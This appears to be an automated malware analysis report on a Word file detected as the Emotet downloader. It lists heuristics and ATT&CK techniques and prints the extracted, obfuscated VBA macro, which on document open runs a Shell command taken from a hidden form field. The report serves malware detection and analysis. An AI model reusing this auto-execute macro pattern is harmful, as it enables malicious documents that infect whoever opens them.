MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains a VBA macro that automatically executes upon opening the document, as indicated by the Document_Open macro and OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. This macro utilizes the Shell() function, a critical finding, to execute a payload. The ClamAV detection explicitly names this as Emotet, a known downloader family. The VBA script is heavily obfuscated but the presence of the Shell() call and the Emotet family attribution strongly suggest it's designed to download and execute a secondary malicious payload.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6869634-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6869634-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2290 bytes |
SHA-256: 153fa147bb50291992d2a01cb1be9e567f3a863af978008583a904fc137c0898 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim MzIt3 As Double
MzIt3 = 49207.84338843
Dim e0DAy6fh As Double
e0DAy6fh = 32302.693229897
Dim wWKV0ui As Byte
wWKV0ui = 172
Dim z6eP8 As Byte
z6eP8 = 177
Dim Agp83nde As Boolean
Agp83nde = False
Call z
End Sub
Attribute VB_Name = "iyMDCExop"
Sub URLhu0EWp()
Dim pvznM2 As Integer
pvznM2 = Sgn(30707)
End Sub
Public Sub z()
Dim CvHLn As Integer
CvHLn = Sgn(-12140)
Dim eSyVCmDb As String
eSyVCmDb = StrConv(oQweu, vbLowerCase)
Dim QeXdI8Sr As Integer
QeXdI8Sr = 15493
Dim xs9QeGyq As Byte
xs9QeGyq = 19
Dim evTkFU8 As Byte
evTkFU8 = 196
Dim C9VzQZu As Double
C9VzQZu = Sgn(20795.617373822)
Dim BG4Qe2cF As Boolean
BG4Qe2cF = True
Dim ItzF9uG5r As Double
ItzF9uG5r = Sgn(49394.201023507)
Dim hZYgFjVl As Byte
hZYgFjVl = 56
syewvqWEL = Mid("eI3DBpMemrJz3uebZRIX", 9895 - 9894, 18320 / 4580)
IXr4oP = "Wly0SuALdxkLspzZomYQDh"
vNliA = Mid(IXr4oP, 26140 / 6535, 18925 / 3785)
cW5HciyaF = VBA.Shell(z3S9fxJ5c, 0)
End Sub
Attribute VB_Name = "wXBez"
Sub yDHWwjk()
Dim q8uz5wqM As Single
q8uz5wqM = Fix(46980.441677262)
End Sub
Sub EzYHdX()
End Sub
Sub OANjIP0ab()
End Sub
Attribute VB_Name = "UY0Cjd"
Sub y1FVPi8rp()
Dim v3qT5UM As Byte
v3qT5UM = 40
End Sub
Sub GnsP9h()
Dim QEA3S As Long
QEA3S = 0
End Sub
Public Function z3S9fxJ5c()
Dim csHohi2nZ As Object
Set csHohi2nZ = New fm
SM8H7Ba = Mid("HCxYZbzcByVs2t5Hog", -4960 + 4964, 11553 - 11551)
Dim qxvKcmfS As String
qxvKcmfS = Val("l")
Dim egzeF As Boolean
egzeF = False
Dim s34Xg9svK As Single
s34Xg9svK = Int(34936.183177011)
Dim DOT9SP As Integer
DOT9SP = 10844
z3S9fxJ5c = csHohi2nZ.mynewtxt.Text
End Function
Attribute VB_Name = "fm"
Attribute VB_Base = "0{122BFCF2-196A-46FC-ADFB-D0C56E49DAA6}{C54DC779-E846-49E2-92F2-330AB926029A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 24576 bytes |
SHA-256: ab7df9fc979ac46c8f4c7d83740189ab645d1d27ec38b395f91f1e610c8bdf8c |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.